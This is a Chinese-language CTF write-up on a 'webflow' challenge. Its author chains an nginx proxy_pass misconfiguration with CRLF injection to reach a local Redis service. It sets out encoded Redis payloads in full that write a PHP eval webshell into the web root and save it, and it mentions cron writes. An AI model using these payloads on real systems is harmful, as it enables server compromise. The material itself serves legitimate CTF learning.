Table of Content
前言
上周buu 金秋10月CTF的webflow题还是让人有点耿耿于怀。发现redis的过程就简单带过一下。主要利用 /proc/net/tcp发现本地6379存在监听,然后去读了下redis日志确认了确实存在该服务。


根据提示, 懒得配置、 plz rce me. 很自然就会想到利用 nginx 转发去打 Redis。nginx配置如下:

其中重点在于这条转发配置:
location /proxy/ {
rewrite ^/proxy/(.*)$ /$1 break;
proxy_pass $scheme://$http_host/$1;
proxy_set_header Origin $scheme://$http_host$uri;
}
这条规则的工作原理如下:
-
rewrite ^/proxy/(.*)$ /$1 break;:将/proxy/后面的路径赋值给$1。 -
proxy_pass $scheme://$http_host/$1;:将请求转发到scheme+Host头+$1的地址。 -
proxy_set_header Origin $scheme://$http_host$uri;:设置转发的Origin信息。
本地搭建了下复现环境,使用nc测试一下,可以看到在web端发送的请求到了nc这里。

如何利用nginx攻击Redis?
参考文章:通过http请求入侵redis 可知,Redis接口是非常宽容的,它会尝试解析每个提供的输入(直到超时或’QUIT’命令)。
这里顺便提一下TCP和HTTP的区别,将HTTP看作是拥有一定结构的TCP,这个一定结构可以理解为:
- 请求行(包含方法、URI、HTTP版本)
- 请求头(包含客户端信息、请求体大小等)组成
- 可选地还包括一个请求体。
HTTP本质上也是TCP,只要满足Redis的协议规范就可以了。
测试一下,可以看到redis是接受了一条指令。

接下来的想法就是通过修改HTTP的请求结构,使得我们的命令可以以单独一行的形式出现。
又由于该web应用中使用了nginx作为转发,而nginx又是存在CRLF缺陷的, 应此可以利用CRLF插入我们的命令,实现Redis命令执行。
如何插入命令(如何构造攻击载荷)
在构造之前,首先得了解Redis的通讯规则,在这篇文章中就可以找到:redis通讯协议(RESP).
为了成功攻击Redis,我们需要构造符合RESP协议的HTTP请求。我们可以通过以下两种方法来构造这些请求
构造方法一:
- 使用
strace命令strace -s 4096 -tt -f -e trace=network redis-cli, 可以看到info命令的具体请求数据为*1\r \n$4...

- 使用
Wireshark抓包,通过跟踪tcp流找到执行的内容.

根据RESP协议规则,那么发送命令的内容就是:
*1\r\n$4\r\ninfo\r\n
利用CRLF,构造出基本的请求格式:
\r\n*1\r\n$4\r\ninfo\r\n
接着将 \r\n 进行编码:
%0d%0a*1%0d%0a$4%0d%0ainfo%0d%0a
先使用nc测试下,发现为符合预期的输入。

然后将该请求发往Redis, 从日志中可以看到命令执行成功,并且响应中返回了命令对应的内容:

接下来测试下常规的利用手法,写入webshell:
命令:config set dir /var/www/html
RESP协议:*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n
CRLFpayload:%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a
命令:set shell "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
RESP协议:*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$32\r\n\n\n\n<?php@eval($_POST['c']);?>\n\n\n\r\n
CRLFpayload:%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$5%0d%0ashell%0d%0a$32%0d%0a\n\n\n<%3fphp%40eval($_POST['c'])%3b%3f>\n\n\n%0d%0a
备注:记得将特殊字符进行urlencode处理
命令:config set dbfilename redis.php
RESP协议:*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nredis.php\r\n
CRLFpayload:%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0aredis.php%0d%0a
命令:save
RESP协议:*1\r\n$4\r\nsave\r\n
CRLFpayload:%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
monitor 日志如下:

这里有两个需要注意的点:
- 有些命令结果并不会直接在响应结果中出现,但是通过
Wireshark记录可看到命令执行成功。但是由于是本地测试环境,所以能抓到本地的数据包,可以看到相应的结果。如果是远程环境,就没办法确认命令是否成功,几乎是属于盲打的状态,所以建议先在本地测试后再去远程。
盲打缺陷挺多的, 比如:
- 没办法确认目录是否存在
- 没办法确认目录是否拥有写入权限
比如后面写定时任务,由于是docker环境,不一定有cron环境,所以不太能确定是否写入成功。

- 在
Redis的monitor日志中发现:在写入shell时\n被转义了,这里的解决办法是使用%0a将\n替换就可以了。



定时任务同理,这里就不再演示。。。
构造方法二:
除此之外,文章中还提到了:当Redis发现它收到的数据不是以"*"开头时, 它就会尝试解析这个字符串, 把它当做一个命令来处理, 然后返回对应的RESP格式的响应.
原文是通过telnet进行测试的,我这里使用nc测试一下, 可以看到在nc端输入ping命令时,可以在monitor 中看到执行日志,并且“nc端也会收到pong`的响应。

因此构造命令可以简化为:
/proxy/%0d%0aping

命令:config set dbfilename redis2.php
CRLF Payload:%0d%0aconfig%20set%20dbfilename%20redis2.php

命令:set shell "<?php@eval($_POST['e']);?>"
CRLF Payload: %0d%0aset%20shell%20"<%3fphp%40eval($_POST['e'])%3b%3f>
注意:需要将空格使用 %20 表示。

命令:save
CRLF Payload:%0d%0asave

最后上服务器上去查看,可以看到成功写入:

最后
最后一顿操作了半天,发现机器根本不出网。然后最后看wp的时候说的是,去读 /proc/1/envrion 就行了。
额。。。该喷还是得喷一下:不会出题就别出题。。。
最后整理了下文件读取的字典。。。file_read dict